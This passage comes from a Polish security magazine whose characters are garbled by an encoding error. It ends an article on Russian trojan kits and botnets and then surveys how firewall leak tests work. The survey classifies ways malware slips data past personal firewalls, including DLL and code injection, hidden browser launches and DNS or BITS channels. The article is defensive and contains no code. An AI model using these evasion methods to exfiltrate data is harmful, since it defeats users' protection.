tin (robak Storm) oraz Warezov. Ich autorzy mogli
celowo wykorzystaæ Zunker+Zupacha do stworzenia
tych botnetów lub te¿ wydzier¿awiæ moc ist-
niej¹cych ju¿ botnetów, p³ac¹c w³aœcicielom za roz-
przestrzenianie swych szkodników.

Warto zauwa¿yæ, ¿e gdy Zupa-

cha wpad³ w rêce hakerów z Za-

chodu, ci zachwycali siê kon-

cepcj¹, analizowali kod i dysku-

towali na jego temat na forach

(http://www.1918.com). Chocia¿ nie

mieli kodu Ÿród³owego, nauczyli
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siê, w jaki sposób mo¿na zmodyfikowaæ adres cen-
trum dowodzenia w pliku binarnym trojana, aby wy-
korzystaæ go do swoich w³asnych celów. Próbowali
nawet sami stworzyæ centrum dowodzenia zawie-
raj¹ce bazê danych, w której zapisana zosta³a konfi-
guracja trojana. PóŸniej jeden z tych hakerów zna-
laz³ kod centrum dowodzenia oraz strukturê bazy
danych i wszystko potoczy³o siê bardzo szybko.
Osoby zaanga¿owane w to (analizowanie rosyjskie-
go trojana oraz wykorzystywanie „broni rosyjskiej
mafii”) bra³y udzia³ w rozwijaniu, rozprzestrzenianiu
oraz popularyzacji Zupacha.

Wnioski

Powy¿sze informacje obrazuj¹, w jaki sposób cyber-
przestêpcy (w szczególnoœci rosyjscy) dzia³aj¹ ze-
spo³owo. Poszczególni twórcy wirusów oraz ich gru-
py tworz¹ programy trojañskie na sprzeda¿. Ci, któ-
rzy je kupuj¹, konfiguruj¹ je zgodnie z w³asnymi po-
trzebami, w efekcie czego oryginalny program jest
czêsto trudny do rozpoznania. Zainfekowane ma-
szyny po³¹czone s¹ w botnety, które mog¹ sk³adaæ
siê z setek tysiêcy maszyn. Maszyny te s¹ za-
rz¹dzane poprzez centrum dowodzenia – kod stwo-
rzony przez innych szkodliwych u¿ytkowników, któ-
ry równie¿ jest na sprzeda¿. Botnety te mog¹ byæ
wykorzystywane do rozprzestrzeniania szeregu ró¿-
nych szkodliwych programów, które czêsto bezpo-
œrednio konkuruj¹ ze sob¹. Aby ca³a ta struktura
mia³a jak najd³u¿szy cykl ¿ycia, mimo wszystkich

wysi³ków firm antywirusowych oraz organów œciga-
nia, istniej¹ wyspecjalizowane firmy hostingowe ofe-
ruj¹ce swoje us³ugi po cenach od kilkudziesiêciu do
tysiêcy dolarów miesiêcznie.

Przemys³ ten, oczywiœcie, przynosi pewne zyski, po-
niewa¿ istnieje nie tylko zapotrzebowanie na two-
rzenie i rozprzestrzenianie trojanów, ale równie¿ po-
da¿. Nasze badanie skoncentrowa³o siê jedynie na
czêœci góry lodowej: tej z³o¿onej z rosyjskojêzycz-
nych grup hakerów. Naturalnie, istniej¹ te¿ inne gru-
py – z Ameryki Po³udniowej, Chin, Turcji itd. Ka¿da
z tych grup posiada w³asny sposób dzia³ania i cha-
rakter, s¹ jednak stosunkowo do siebie podobne.
W internecie nie ma ¿adnych granic.

Ostatnim przyk³adem mo¿e byæ artyku³, który pojawi³
siê 17.08.07 r. w InformationWeek. Don Jackson,
ekspert ds. bezpieczeñstwa w SecureWorks, powie-
dzia³ w nim, ¿e zidentyfikowa³ 12 schowków danych,
z których wiêkszoœæ zawiera³a od czterech do sze-
œciu tysiêcy skradzionych wpisów. W sumie skradzio-
ne zosta³y dane oko³o 100000 osób. Dane te zosta³y
skradzione przez trojany zawarte w fa³szywych rekla-
mach na dwóch najwiêkszych stronach rekrutacyj-
nych, z których jedna to Monster.com.

Prawdopodobnie odgadliœcie ju¿, o jakim trojanie
mówi³ Jackson i gdzie szkodnik ten wys³a³ prze-
chwycone dane. Tak, macie racjê! To ZeuS, „uniwer-
salny” kod, który wys³a³ dane do Russian Business
Network. n
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Co to jest zapora sieciowa?

Jedn¹ z funkcji dzisiejszych zintegrowanych syste-
mów bezpieczeñstwa jest umo¿liwianie u¿ytkowni-
kowi kontrolowania ruchu sieciowego, tzn. danych
wysy³anych i otrzymywanych za poœrednictwem sie-
ci przez aplikacje uruchomione na komputerze u¿yt-
kownika. Komponent zapewniaj¹cy tak¹ kontrolê
nosi nazwê zapory sieciowej. Istniej¹ sprzêtowe
oraz programowe zapory sieciowe (http://pl.wikipe-

dia.org/wiki/Zapora_sieciowa). W artykule tym zbadano
tylko zapory sieciowe programowe.

Dostêpna jest spora liczba programowych zapór
sieciowych – zarówno komercyjnych, jak i darmo-
wych. Zapora sieciowa zainstalowana na bramie
(serwerze, który przesy³a ruch pomiêdzy ró¿nymi
sieciami) nosi nazwê zapory sieciowej na poziomie
serwera lub sieci. Zapory sieciowe zainstalowane
na komputerze u¿ytkownika nazywane s¹ osobisty-
mi zaporami sieciowymi, poniewa¿ chroni¹ jedynie
komputery, na których dzia³aj¹. Osobiste zapory sie-
ciowe czêsto wchodz¹ w sk³ad zintegrowanych sy-
stemów bezpieczeñstwa do ochrony komputerów

osobistych. Przyk³adem mo¿e byæ osobista zapora
sieciowa w produkcie Kaspersky Internet Security
7.0.

W celu spe³nienia swojej g³ównej funkcji, tj. kontroli
aktywnoœci sieciowej, zapory sieciowe wykorzystuj¹
listy regu³, za pomoc¹ których definiowana jest do-
zwolona oraz niedozwolona aktywnoœæ sieciowa dla
ró¿nych aplikacji. Regu³a mo¿e zawieraæ wiele pa-
rametrów, takich jak kierunek transferu danych, pro-
tokó³ transferu danych (IP, TCP, UDP, ICMP itd.),
adresy IP oraz porty lokalnych i zdalnych kompute-
rów wymieniaj¹cych dane.

Pojedyncza regu³a kontroli aktywnoœci sieciowej
mo¿e byæ stosowana do wszystkich aplikacji w sy-
stemie. Wtedy nosi nazwê regu³y pakietu.

Zapory sieciowe posiadaj¹ dwa tryby: interaktywny
(w którym u¿ytkownik jest pytany o akcjê) oraz nie-
interaktywny. W trybie nieinteraktywnym zapora sie-
ciowa mo¿e:

l zezwoliæ na wszelk¹ aktywnoœæ, która nie jest za-
kazana przez regu³y;

l blokowaæ wszelk¹ aktywnoœæ, która nie jest do-
zwolona przez regu³y;

l blokowaæ wszelk¹ aktywnoœæ sieciow¹.

Podstawowym trybem dzia³ania zapory sieciowej
jest tryb interaktywny, nazywany równie¿ trybem
uczenia. W trybie tym przy ka¿dym wykryciu aktyw-
noœci sieciowej, która nie zosta³a uwzglêdniona
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Zapora sieciowa oferuje dodatkow¹ ochronê do tej zapewnianej
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na wzrost liczby nowych szkodliwych programów. Zapory sieciowe

blokuj¹ niepo¿¹dany ruch sieciowy, zarówno wejœciowy, jak

i wyjœciowy. Testy wycieków, które stanowi¹ temat tego artyku³u,

oceniaj¹, jak skutecznie zapora sieciowa kontroluje ruch wyjœciowy

i chroni komputer przed wyciekami danych.

Wykorzystywanie testów wycieków do oceny
skutecznoœci zapór sieciowych

Nikolay Grebennikov

Skutecznoœæ
zapór sieciowych

Rysunek 1. Zapora sieciowa w programie Kaspersky Internet Security 7.0

Rysunek 2. Przyk³ady regu³ dla programu

Microsoft Outlook w Kaspersky Internet Security 7.0



w ¿adnej ze zdefiniowanych wczeœniej regu³, zapora
sieciowa wyœwietla okno dialogowe, które pyta u¿yt-
kownika, czy zezwoliæ na tak¹ aktywnoœæ, zabloko-
waæ j¹ jednorazowo, czy te¿ stworzyæ regu³ê dla
tego typu aktywnoœci sieciowej.

Poniewa¿ komputer przeciêtnego u¿ytkownika po-
siada kilkanaœcie aplikacji, które wykazuj¹ ró¿ne ro-
dzaje aktywnoœci sieciowej podczas dzia³ania, rêcz-
ne tworzenie listy regu³ uwzglêdniaj¹cych aktyw-
noœæ sieciow¹ aplikacji jest z³o¿onym i czasoch³on-
nym zadaniem. Z tego powodu zapory sieciowe za-
wieraj¹ bazy predefiniowanych regu³ dla znanych
aplikacji sieciowych, takich jak Internet Explorer, Mi-
crosoft Outlook, Generic Host Process for Win32
Services (svchost.exe), Microsoft Application Error
Reporting (dwwin.exe) oraz wiele innych.

Rysunek 5 pokazuje, w jaki sposób zapora sieciowa
monitoruje dane wychodz¹ce i chroni przed wycie-
kiem danych:

Zapora sieciowa stanowi „œcianê”, która odgradza
aplikacje na komputerze u¿ytkownika od innych
komputerów w lokalnej sieci oraz w internecie. Dla
znanych (zaufanych) aplikacji (zaznaczonych na
rys. 5 kolorem zielonym) istniej¹ regu³y zezwalaj¹ce
(„luki” w „œcianie") pozwalaj¹ce im transmitowaæ
dane poprzez zaporê sieciow¹ do œwiata na
zewn¹trz. Gdy inna aplikacja bêdzie próbowa³a
nawi¹zaæ aktywnoœæ sieciow¹, zostanie ona zablo-
kowana („uderzy w œcianê”), w rezultacie aplikacja
nie bêdzie mog³a transmitowaæ danych do œwiata na
zewn¹trz (lub otrzymywaæ danych spoza zapory sie-
ciowej). Jednak w ka¿dym momencie u¿ytkownik
mo¿e stworzyæ nowe regu³y zezwoleñ (zrobiæ nowe
„luki” w „œcianie”), aby umo¿liwiæ aplikacji wymianê
danych poprzez sieæ.

Nale¿y zauwa¿yæ, ¿e niektóre zapory sieciowe po-
siadaj¹ równie¿ komponent zapobiegania w³ama-
niom, który zapewnia ochronê przed atakami siecio-
wymi. Komponent ten skanuje wejœciowy i wyjœcio-
wy ruch sieciowy w celu znalezienia pakietów sie-
ciowych, które odpowiadaj¹ znanym szablonom
ataków sieciowych znajduj¹cym siê w bazie da-
nych. W przysz³oœci opublikujemy artyku³ zawie-
raj¹cy szczegó³ow¹ analizê takich komponentów.

W jaki sposób zapory sieciowe

mog¹ zwiêkszyæ bezpieczeñstwo?

Zapory sieciowe zapewniaj¹ dodatkow¹ warstwê
ochrony mog¹c¹ pomóc zablokowaæ szkodliwe pro-
gramy, które nie s¹ wykrywane przez komponent
antywirusowy zintegrowanego systemu bezpieczeñ-
stwa. Szkodliwy program mo¿e nie zostaæ wykryty,
jeœli nie zosta³ dodany do antywirusowej bazy da-
nych (dlatego nie mo¿e byæ wykrywany za pomoc¹
tradycyjnych metod opartych na sygnaturach) oraz
jeœli nie wykazuje wyraŸnie szkodliwego czy cho-
cia¿by podejrzanego zachowania (dlatego kompo-
nent analizy zachowania równie¿ go nie wykryje).

Przed jakim typem szkodliwych programów chroni
zapora sieciowa? Praktycznie przed ka¿dym szkod-
nikiem, który znajduje siê aktualnie w obiegu. Cho-
cia¿ brzmi to ogólnikowo, jest to prawda. Obecnie
funkcje wiêkszoœci szkodliwych programów wi¹¿¹
siê z aktywnoœci¹ sieciow¹, przez co mog¹ zostaæ
zablokowane przez zaporê sieciow¹. Przyk³adem s¹
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Rysunek 3. Okno dialogowe wyœwietlane przez zaporê

sieciow¹ programu Kaspersky Internet Security 7.0

w trybie uczenia

Rysunek 4. Lista predefiniowanych regu³ aplikacji dla

zapory sieciowej programu Kaspersky Internet Security 7.0

Rysunek 5. Dzia³anie zapory sieciowej



np. robaki sieciowe rozprzestrzeniaj¹ce w³asne ko-
pie za poœrednictwem sieci lokalnych/internetu.

Trojany, stanowi¹ce obecnie 91,4 proc. wszystkich
szkodliwych programów, równie¿ wymieniaj¹ dane
za poœrednictwem sieci. Programy trojañskie obej-
muj¹:

l backdoory – narzêdzia te tworzone s¹ w celu
zapewnienia zdalnego zarz¹dzania komputerami
w sieci. Backdoory s¹ kontrolowane zdalnie. Za-
pora sieciowa mo¿e ³atwo zablokowaæ wszystkie
funkcje tych szkodników;

l trojany PSW – programy te kradn¹ szereg ró¿-
nych informacji z zainfekowanych komputerów.
Po wykradzeniu informacji trojan musi jeszcze
przes³aæ je cyberprzestêpcy. W³aœnie na tym eta-
pie zapora sieciowa mo¿e zablokowaæ podej-
mowane przez program próby wys³ania danych,
a tym samym ochroniæ informacje u¿ytkownika;

l trojany downloadery –- programy te pobieraj¹
nowe wersje innych szkodników (trojanów oraz
programów adware) i instaluj¹ je na atakowanej
maszynie. Programy z tej klasy wymieniaj¹ dane
za poœrednictwem sieci, dlatego ³atwo mog¹ zo-
staæ zablokowane przez zaporê sieciow¹;

l trojany proxy – programy te uzyskuj¹ anonimo-
wy dostêp do ró¿nych zasobów internetowych
bez wiedzy czy zgody u¿ytkownika. S¹ wykorzy-
stywane g³ównie do wysy³ania spamu. Podobnie
jak w przypadku trojanów downloaderów, aktyw-
noœæ sieciowa generowana przez trojany proxy
mo¿e bez trudu zostaæ zablokowana przez za-
porê sieciow¹;

l trojany szpieguj¹ce – jak sugeruje ich nazwa,
programy te mog¹ byæ wykorzystywane do szpie-
gowania u¿ytkowników zainfekowanych kompute-
rów. Dane, ³¹cznie z informacjami wprowadzanymi
z klawiatury, zrzutami ekranów, listami aktywnych
aplikacji oraz czynnoœciami u¿ytkownika doty-
cz¹cymi tych aplikacji, s¹ zapisywane w pliku na
dysku twardym i regularnie wysy³ane do cyberprze-
stêpcy. Zapora sieciowa mo¿e zablokowaæ próby
wys³ania danych przez nieznany program. Dziêki
temu skradzione przez trojana dane u¿ytkownika
nie dotr¹ do zdalnego szkodliwego u¿ytkownika.

Nale¿y zauwa¿yæ, ¿e zapory sieciowe nie mog¹ byæ
wykorzystywane do zwalczania klasycznych wiru-
sów. Wynika to z tego, ¿e w przeciwieñstwie do
robaków, wirusy nie wykorzystuj¹ zasobów siecio-
wych w celu przenikniêcia do innych komputerów
i – w przeciwieñstwie do trojanów – nie musz¹ wy-
sy³aæ danych ani otrzymywaæ poleceñ.

Zapora sieciowa to system bezpieczeñstwa, który
trudno obejœæ. Chc¹c omin¹æ ochronê antywirusow¹
oraz mechanizm blokowania zachowañ, autorzy szko-
dliwych programów testuj¹ i modyfikuj¹ swoje twory
tak d³ugo, a¿ obydwa komponenty ochrony nie bêd¹
w stanie wykryæ szkodliwego kodu. Bardzo trudno
obejœæ zaporê sieciow¹ przy pomocy tej metody. Jeœli
program generuje pewien rodzaj aktywnoœci sieciowej,
nie jest ³atwo ukryæ j¹ przed zapor¹ sieciow¹. Jedy-
nym sposobem jest wykorzystanie wycieków.

Co to s¹ wycieki i testy wycieków?

Wycieki to technologia obchodzenia mechanizmów
zapory sieciowej s³u¿¹cych do kontroli aktywnoœci

sieciowej, która pozwala aplikacjom nieposia-
daj¹cym regu³ zezwoleñ na liœcie regu³ zapory sie-
ciowej na wysy³anie danych do odbiorców spoza
sieci. Zapora sieciowa nie zapobiega wysy³aniu ta-
kich danych i nie informuje u¿ytkownika o takiej
aktywnoœci sieciowej w trybie uczenia.

Dobrze zaprojektowana zapora sieciowa nie powin-
na pozwoliæ na ¿adne wycieki. Powinna potrafiæ wy-
kryæ wszelk¹ próbê wejœciowej i wyjœciowej aktyw-
noœci sieciowej. Z tego powodu analizuj¹c jakoœæ
ochrony zapewnianej przez zaporê sieciow¹ stosuje
siê dwa kryteria: jakoœæ ochrony wejœciowej, tj.
ochrony przed penetracj¹ z zewn¹trz sieci, oraz ja-
koœæ ochrony wyjœciowej, tj. ochrony przed wycieka-
mi danych wysy³anych z komputera.

W testach jakoœci ochrony, jak¹ zapora sieciowa
zapewnia przed penetracj¹ z zewn¹trz, stosowa-
ne s¹ ró¿ne otwarte skanery portów (np. Shields-
UP! http://www.grc.com/default.htm, Quick test http:
//www.pcflank.com/test.htm itp.).

Aby zbadaæ, jak dobrze zapora sieciowa chroni
przed wyciekami danych, wykorzystuje siê testy wy-
cieków. S¹ to niewielkie nieszkodliwe programy, któ-
re implementuj¹ jeden lub wiêcej wycieków. Progra-
my te s¹ w wiêkszoœci rozwijane przez ekspertów
ds. bezpieczeñstwa.

Naturalnie, jedynym sposobem spowodowania wy-
cieku jest wykorzystanie istniej¹cych „luk” (tj. regu³
zezwoleñ) dla znanych aplikacji. Wymaga to jednak
„przekonania” zapory sieciowej, ¿e aktywnoœæ sie-
ciowa zosta³a zainicjowana przez zaufan¹ aplikacjê.
Mo¿na to osi¹gn¹æ za pomoc¹ wielu metod. Za-
nim przejdê do omówienia tych metod, przyjrzyjmy
siê podstawowym zasadom wykonywania aplikacji
w dzisiejszych systemach operacyjnych.

Wykonywanie aplikacji we wspó³czesnych

systemach operacyjnych

Procesor komputera wykonuje listy instrukcji prze-
chowywanych w pamiêci RAM komputera. Listy in-
strukcji pogrupowane s¹ w w¹tki wykonania, które
mo¿na przyporz¹dkowaæ do procesów aktualnie
uruchomionych w pamiêci RAM.

Pliki wykonywalne zawieraj¹ listy instrukcji proceso-
ra. Uruchomienie pliku wykonywalnego prowadzi do
pojawienia siê nowego procesu w systemie. Proces
mo¿e zostaæ stworzony równie¿ programowo, przez
inny proces. System operacyjny przechowuje drze-
wo procesów w pamiêci RAM.

Nale¿y zauwa¿yæ, ¿e przestrzeñ adresowa wiêkszo-
œci procesów w systemie zawiera nie tylko kod pliku
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Rysunek 6. Jak dzia³a wyciek



wykonywalnego aplikacji, ale równie¿ kod licznych
bibliotek do³¹czanych dynamicznie (DLL). Biblioteki
te wykorzystywane s¹ do przechowywania pewnych
wspólnych funkcji u¿ywanych przez kilka aplikacji.
Pozwala to programistom unikn¹æ dublowania tego
samego kodu programu w ró¿nych plikach wykony-
walnych. Ta sama biblioteka mo¿e zostaæ za³ado-
wana do przestrzeni adresowej ró¿nych procesów.

Klasyfikacja technologii wycieków

Aran¿owanie wycieków

W sekcji tej zbadano technologie, które szkodliwa
aplikacja mo¿e wykorzystaæ do „oszukania” zapo-
ry sieciowej. Rysunek 8 ilustruje podstawow¹ kon-
cepcjê – w pamiêci RAM znajduj¹ siê znane zapo-
rze sieciowej procesy zaufanych aplikacji oraz pro-
ces nieznanej (szkodliwej) aplikacji.

Je¿eli nieznana aplikacja podejmie próbê zainicjo-
wania aktywnoœci sieciowej, zapora sieciowa zablo-
kuje j¹ lub spowoduje wyœwietlenie okna dialogowe-
go, w którym u¿ytkownik zostanie zapytany, jaka ak-
cja powinna zostaæ podjêta.

Wyró¿niamy 3 g³ówne podejœcia do obchodzenia
ochrony zapewnianej przez zaporê sieciow¹:

l oszukiwanie zapory sieciowej, tj. „przekonanie”
jej, ¿e aktywnoœæ sieciowa jest inicjowana przez
zaufan¹ aplikacjê. Mo¿na tego dokonaæ, podsta-
wiaj¹c plik wykonywalny zaufanej aplikacji na
dysku twardym lub zastêpuj¹c dane nieznanego
procesu danymi zaufanego procesu w pamiêci
RAM;

l wykonanie kodu „w imieniu” zaufanej aplikacji
przez wstrzykniêcie biblioteki DLL lub niewielkie-
go fragmentu kodu nieznanej aplikacji do prze-
strzeni adresowej zaufanej aplikacji. Zapora sie-
ciowa nie bêdzie mog³a odró¿niæ aktywnoœci sie-
ciowej takich wstrzykniêtych elementów od nor-
malnej aktywnoœci sieciowej zaufanej aplikacji;

l wykorzystanie udokumentowanych interfejsów za-
ufanych aplikacji. Podczas wykorzystywania ta-

kich interfejsów aktywnoœæ sieciowa bêdzie inicjo-
wana przez zaufane aplikacje. Bêdzie jednak kon-
trolowana przez niezaufan¹ aplikacjê, pozwalaj¹c
jej na transmitowanie danych za poœrednictwem
interfejsów do odbiorców spoza sieci bez wywo-
³ywania alarmów zapory sieciowej.

Wyró¿niamy szeœæ technologii wycieków, które wy-
korzystuj¹ trzy opisane wy¿ej podejœcia:

Lp.
Podejœcie 1

(oszukiwanie)

Podejœcie 2

(wykonanie

kodu

w imieniu

zaufanej

aplikacji)

Podejœcie 3

(wykorzysty-

wanie

udokumento-

wanych

interfejsów)

1 Zastêpowanie

2 Uruchamianie

3
Wstrzykiwanie

biblioteki DLL

4
Wstrzykiwanie

kodu

5
Us³ugi

przegl¹darki

6
Us³ugi

systemowe

Poni¿ej znajduje siê szczegó³owy opis tych techno-
logii oraz ich potencjalne implementacje.

Technologie wycieków

Zastêpowanie

Podstawianie pliku wykonywalnego zaufanej aplika-
cji na dysku twardym lub zastêpowanie danych nie-
znanego procesu danymi zaufanego procesu w pa-
miêci RAM. Metoda ta opiera siê na „przekonywa-
niu” zapory sieciowej, ¿e aktywnoœæ sieciowa zo-
sta³a zainicjowana przez zaufany proces.

S¹ trzy metody zastêpowania:

l podstawianie pliku wykonywalnego zaufanej apli-
kacji na dysku twardym (zaimplementowana
w teœcie wycieków Runner, zobacz sekcjê Testy

wycieków);

l zastêpowanie nazwy pliku nieznanej aplikacji
nazw¹ pliku zaufanej aplikacji (Test wycieku);

l zastêpowanie danych nieznanego procesu dany-
mi zaufanego procesu w obrazie procesu ³ado-
wanym w pamiêci RAM (Coat).

Rysunek 9 ilustruje pierwszy typ zastêpowania:

Uruchamianie

Uruchamianie zaufanej aplikacji z parametrami
wiersza poleceñ. Metoda ta wykorzystuje fakt, ¿e
wiêkszoœæ przegl¹darek akceptuje adres strony in-
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na dysku twardym



ternetowej, która ma zostaæ otwarta, w postaci para-
metru wiersza poleceñ. Jeœli strona internetowa za-
wiera skrypt po stronie serwera (np. cgi), linia adre-
sowa mo¿e zawieraæ równie¿ parametry, które bêd¹
wykorzystywane przez skrypt jako dane wejœciowe.
Parametry te mog¹ zawieraæ poufne informacje, np.
dane skradzione przez oprogramowanie spyware.
Istotne jest to, ¿e ca³a aktywnoœæ sieciowa jest gene-
rowana przez przegl¹darkê tak samo jak zwykle, dla-
tego regu³y zapory sieciowej zawsze na ni¹ zezwol¹.

Aby uniemo¿liwiæ u¿ytkownikowi zobaczenie okna
przegl¹darki, jest ona zwykle uruchamiana w trybie
ukrycia (Ghost, TooLeaky, Wallbreaker [1]).

Zamiast bezpoœredniego uruchomienia szkodliwy
kod mo¿e równie¿ uruchomiæ przegl¹darkê przy
u¿yciu innego procesu. Na przyk³ad:

l uruchomiæ przegl¹darkê przy u¿yciu procesu
pow³oki Windows Explorer.exe (Wallbreaker [2]);

l uruchomiæ przegl¹darkê przy u¿yciu procesu
pow³oki Windows Explorer.exe, który sam jest
uruchamiany przy u¿yciu interpretera poleceñ
cmd.exe (Wallbreaker [3]);

l uruchomiæ przegl¹darkê przy u¿yciu mechanizmu
planowania zadañ systemu Windows (Wallbrea-
ker[4]). W tym przypadku proces zostanie uru-
chomiony w nastêpuj¹cej sekwencji:
AT.exe->Svchost.exe->Cmd.exe-Explorer.exe->
IExplore.exe.

Metoda ta zosta³a przedstawiona poni¿ej:

Wstrzykiwanie biblioteki DLL

Wstrzykiwanie biblioteki do³¹czanej dynamicznie do
przestrzeni adresowej zaufanego procesu. Metoda
ta ³aduje do³¹czan¹ dynamicznie bibliotekê szkodli-
wego programu do przestrzeni adresowej zaufane-
go procesu. Mo¿na to wykonaæ na kilka sposobów,
jednak g³ówne metody to:

l zainstalowanie globalnego punktu zaczepienia.
Jego kod jest zlokalizowany w bibliotece do³¹-
czanej dynamicznie (CPILSuite [2,3], FireHole,
pcAudit, pcAudit2);

l zmodyfikowanie wartoœci rejestru systemowego
w celu dodania biblioteki do³¹czanej dynamicznie
do listy bibliotek DLL, które s¹ automatycznie ³a-
dowane przez system do ka¿dego nowego pro-
cesu – klucz AppInit_DLLs (Jumper).

Obie metody s¹ udokumentowane i wykorzystywa-
ne do legalnych celów.

Metoda ta zosta³a przedstawiona na rys. 11.

Wstrzykiwanie kodu

Wstrzykiwanie kodu do przestrzeni adresowej zaufa-
nego procesu bez wykorzystania biblioteki do³¹cza-

nej dynamicznie. Metoda ta polega na wstrzykiwaniu
kodu wykonywalnego do przestrzeni adresowej za-
ufanego procesu. Po wstrzykniêciu kod ten mo¿e ini-
cjowaæ ka¿d¹ aktywnoœæ sieciow¹, poniewa¿ zapora
sieciowa uzna j¹ za aktywnoœæ zaufanej aplikacji.
W przeciwieñstwie do metody wstrzykiwania DLL, le-
galnoœæ tej operacji jest w¹tpliwa, mimo ¿e istniej¹
udokumentowane metody wstrzykiwania kodu do
procesów innych aplikacji. Takie wstrzykiwanie kodu
jest czasami wykorzystywane przez legalne progra-
my (np. debuggery), jednak w g³ównej mierze przez
szkodliwe oprogramowanie.

Istnieje kilka metod wstrzykiwania kodu do proce-
sów innych aplikacji. Poni¿ej przedstawiono kilka
przyk³adów:

l ³adowanie zaufanego procesu do pamiêci RAM
oraz ³atanie pamiêci procesu (AWFT [1], CPIL,
DNStest). Mo¿e to byæ poprzedzone prób¹ unik-
niêcia wykrycia tej operacji przez zaporê sie-
ciow¹ poprzez wy³¹czenie punktów zaczepienia
zapory sieciowej (CPILSuite[1]);

l lokalizowanie zaufanego procesu w pamiêci
RAM oraz wstrzykiwanie do niego kodu (Thermi-
te);

l ³adowanie zaufanego procesu do pamiêci RAM
i tworzenie w nim zdalnego w¹tku (AWFT [2,3]);

l ³adowanie zaufanego procesu do pamiêci RAM,
tworzenie w nim zdalnego w¹tku, ³adowanie ko-
lejnego zaufanego procesu z tego w¹tku i ³atanie
jego pamiêci przed wykonaniem (AWFT [4,5,6]);

l wykorzystywanie funkcji SetThreadContext w ce-
lu przejêcia kontroli nad w¹tkiem w zaufanym
procesie (CopyCat).

Najczêœciej atakowanymi procesami s¹ procesy
przegl¹darek internetowych (Internet Explorer itd.
– AWFT [1,2,4], testy CopyCat oraz Thermi-
te), pow³oki systemu operacyjnego (explorer.exe
– AWFT [3,4], CPIL oraz CPILSuite [1]) oraz proces
svchost.exe, który jest g³ównym procesem us³ug sy-
stemu Windows ³adowanych z bibliotek kompilowa-
nych dynamicznie (test DNStest).

Metoda ta zosta³a pokazana poni¿ej:
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Rysunek 10. Uruchamianie zaufanej aplikacji

z parametrami wiersza poleceñ

Rysunek 11. Wstrzykiwanie biblioteki do³¹czanej

dynamicznie do zaufanego procesu

Rysunek 12. Wstrzykiwanie szkodliwego kodu do

zaufanego procesu



Us³ugi przegl¹darki

Wykorzystywanie interfejsów programowych do
kontrolowania przegl¹darki internetowej. Metoda
ta wykorzystuje ró¿ne mechanizmy w systemie
Windows przeznaczone do poprawy interakcji miê-
dzy procesami ró¿nych komponentów/aplikacji. Me-
chanizmy te obejmuj¹:

l wysy³anie wiadomoœci systemu Windows do okna
przegl¹darki internetowej. Powoduje to zmianê
wartoœci w linii adresowej przegl¹darki, a wciœniê-
cie przycisku „Go” przekierowuje przegl¹darkê do
podanego adresu (Breakout);

l wykorzystywanie interfejsu DDE przegl¹darki, tj.
mechanizmu Dynamicznej Wymiany Danych http:

//pl.wikipedia.org/wiki/Dynamic_Data_Exchange. Bibliote-
ka DDE zosta³a rozwiniêta w celu rozszerzenia
mo¿liwoœci systemu wiadomoœci Windows, po-
zwalaj¹c dwóm aplikacjom na dynamiczn¹ wy-
mianê danych podczas wykonywania (obs³uga
DDE w ró¿nych wersjach Internet Explorera zo-
sta³a opisana w artykule dostêpnym na stronie
http://support.microsoft.com/kb/q160957) (Surfer, Zabypass,

WB [1,3,4]; CPILSuite [3]);

l wykorzystywanie przegl¹darki jako serwera auto-
matyzacji (mechanizm automatyzacji OLE oparty
na modelu COM (http://pl.wikipedia.org/wiki/Object_Lin-

king_and_Embedding). Automatyzacja OLE jest rozsze-
rzeniem technologii DDE. Ka¿da wspó³czesna
przegl¹darka zapewnia interfejs COM (http://pl.wiki-

pedia.org/wiki/Component_Object_Model), który mo¿e zo-
staæ wykorzystany przez inne programy jako ser-
wer automatyzacji. Istniej¹ dwa komponenty COM
przegl¹darki Microsoft Internet Explorer w aplika-
cjach zewnêtrznych (http://msdn2.microsoft.com/en-us/li-

brary/aa741313.aspx):

n WebBrowser Control, zaimplementowany
w shdocvw.dll (OSfwbypass),

n interfejs MSHTML zaimplementowany
w mshtml.dll (PCFlank).

Metoda ta zosta³a pokazana na poni¿szym rysunku:

Us³ugi systemowe

Wykorzystywanie interfejsów programowych zapew-
nianych przez us³ugi systemowe. Metoda ta jest po-
dobna do metody opisanej wy¿ej. Ró¿nica polega
na tym, ¿e wykorzystywane interfejsy programowe
s¹ zapewniane przez komponenty systemu ope-
racyjnego, a nie przegl¹darkê internetow¹. Win-
dows XP oraz Windows Vista posiadaj¹ przynaj-
mniej trzy takie interfejsy:

l BITS (Background Intelligent Transfer Service,
http://msdn2.microsoft.com/en-us/library/Aa362827.aspx)

– jest to inteligentna us³uga pobierania plików

wykorzystywana przez Windows Update oraz
Windows Server Update Services. Pozwala ona
na pobieranie ³at i aktualizacji w tle, bez prze-
ci¹¿ania kana³ów komunikacji. Ponadto automa-
tycznie wznawia pobieranie w przypadku utraty
po³¹czenia (BITSTester);

l funkcje Windows DNS API (http://msdn2.micro-

soft.com/en-us/library/ms682100.aspx) mog¹ zostaæ wy-
korzystane do tworzenia rekursywnych zapytañ
DNS do internetowego serwera nazw. Dodatko-
we dane, ³¹cznie z poufnymi danymi u¿ytkowni-
ka, mog¹ zostaæ wys³ane w ramach pakietu
DNS. Cyberprzestêpca kontroluj¹cy serwer nazw,
który przetwarza zapytania DNS, mo¿e uzyskaæ
te informacje poprzez przetwarzanie tego spec-
jalnie stworzonego pakietu DNS (DNStester);

l po aktywacji Windows Active Desktop interfejs
zarz¹dzania elementami i tapet¹ pulpitu Win-
dows (IActiveDesktop, http://msdn2.microsoft.com/en-us/li-

brary/ms647199.aspx) mo¿e zostaæ wykorzystany do
ustawienia strony HTML jako tapety pulpitu. Stro-
na HTML mo¿e zawieraæ elementy, które ³¹cz¹
siê z zewnêtrznymi zasobami, w wyniku czego
zasoby te s¹ ³adowanie w momencie aktywowa-
nia nowej tapety pulpitu (Breakout2).

Ró¿nice w istniej¹cych klasyfikacjach wycieków

Powy¿sza klasyfikacja nieznacznie ró¿ni siê od kla-
syfikacji technologii wycieków podawanych na spe-
cjalistycznych stronach internetowych poœwiêco-
nych analizie wycieków.

Zgodnie z nasz¹ wiedz¹, pierwsz¹ stron¹ interne-
tow¹, na której publikowano systematyczne badania
wycieków, by³a http://www.firewallleaktester.com. Klasyfi-
kacja ta dostêpna jest na stronie http://www.firewallleak

tester.com/categories.htm.

W 2006 roku pojawi³a siê inna strona, http://www.ma-

tousec.com. Jednym z wa¿niejszych projektów jest
Windows Personal Firewall Analysis (Analiza oso-
bistej zapory sieciowej systemu Windows) (http://

www.matousec.com/projects/windows-personal-firewall-analy-

sis/introduction-firewall-leak-testing.php). Klasyfikacja wy-
cieków wykorzystana w tym badaniu jest podobna
